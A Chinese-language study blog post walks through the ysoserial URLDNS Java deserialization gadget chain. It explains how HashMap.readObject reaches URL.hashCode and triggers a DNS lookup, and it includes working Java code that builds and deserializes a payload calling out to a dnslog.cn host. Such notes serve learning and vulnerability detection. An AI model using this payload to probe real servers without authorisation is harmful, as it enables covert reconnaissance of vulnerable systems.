目录
URLDNS链 介绍
URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求。所以通常用于检测反序列化的点
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
ysoserial中列出的Gadget:
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
为什么选择HashMap作为入口类?
- 参数种类多并且可控
- 类可反序列化,实现了了序列化接口
- 最终走到反序列化触发的readObject
关于我的一些废话
本来是想从cc1链子开始学习,但是学的有些似懂非懂的。那就想着先从简单的URLDNS链来入门Java反序列化吧,我会试着代入从作者挖掘方面来介绍,结合其他师傅的博客思考作者是如何来挖到这一条链子的。写出此文的目的是记录学习过程,有不足之处还希望师傅们可以指出,我看到后会继续完善此文。
开始试着代入作者:
URL类:
首先,我们通过前置知识,这是URLDNS链子,用来构造DNS请求,那我们如何从0开始找到这条URLDNS链,所以我们可以试着去看看代码是走到哪里发起的DNS请求呢?
我们ctrl+左键进入这个URL类里面进一步寻找结果
在878行有一个hashCode方法:
而且他的hashCode默认是等于-1的
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this); //这里的this代表是一个url
return hashCode;
}
在调用getHostAdress()方法时会进行dns查询。
跟进之后呢,发现有一个方法,InetAddress.getByName(host),它的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。
这里我们就知道了,我们需要调这里面的hashCode方法,
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this); //这里的this代表是一个url
return hashCode;
}
这里写个demo进行debug一下:
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("http://f7wi9u.dnslog.cn");
url.hashCode();
}
由于hashCode默认-1,所以会走到下面红色箭头指的代码语句,继续步过,此时this的内容就是我们的url值
那么如果当我们不让hashCode的值为-1,那么会出现什么情况呢?这里先埋下个伏笔。下面会解释
这里成功的出的dns请求。
HashMap类:
为什么选择HashMap呢?
一、有序列化接口
二、重写了readObject方法
三、jdk原生自带
步入HashMap重写的hash函数之后
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
我们就看到了,传入一个对象Object key,那么如果我们把key变成我们的url对象,那么是不是就调用了url.hashcode呢?
首先查看哪里调用了我们的putVal()
在put方法中调用了hash,所以我们需要
重写一下代码试试看
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("http://f7wi9u.dnslog.cn");
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
hashMap.put(url,123);
}
可以看到我们收到了请求
但是师傅们有没有发现哪里不对劲?
答案:我这里收到的都是我这边产生的dns请求,到服务端那边,直接就会读取我的缓存,缓存却不是服务端那边反序列化带来的结果,影响我们判断啊!
反射:
Java反射(个人学习笔记)_java反射调用方法-CSDN博客
反射在我上篇文章有讲过,我们可以通过反射获取hashCode的属性然后改变hashCode的值,我们在客户端调用hashMap.put的时候把hashCode变成非-1,到序列化的时候在把他改成-1即可,这样到服务端它就会进行反序列化,dns请求就不是我们客户端发出的了。
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this); //这里的this代表是一个url
return hashCode;
}
现在就需要更改代码
public class URLDNS {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
URL url = new URL("http://njmu6t.dnslog.cn");
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
Class urlclass = URL.class;
Field hashCodeField = urlclass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
//改成非-1的时候直接return就不会发起请求
hashCodeField.set(url,123);
hashMap.put(url,123);
hashCodeField.set(url,-1);
Serialize(hashMap);
}
进行序列化操作之后,是没有dns请求接受的
当我们进行反序列化操作时,
public class unserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize();
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}
我们就拿到了请求。
关于我的一些总结:
我认为这个文章的拓展不够,仅当做个人学习笔记记录下来,有描述错误或者不清楚的地方希望师傅们在评论区留言我看到就会更改完善,以便后续看到的师傅学习效果更佳。
我是在按照我的理解方式来讲解的,从URL类中从哪里造成的DNS请求,再到HashMap类中的重写自己的readObject中的计算哈希方法,putVal,通过查找用法再到put,发现put我们可以调用其中的key,传入一个对象,那么我们直接传入一个URL对象。
此时就剩下一个问题:这里的dns请求方是我们自己,如果验证服务端呢?这里就运用到了反射,通过反射我们修改默认的hashCode值,达到我们让服务端反序列化造成dns请求。
补充一个流程图吧
...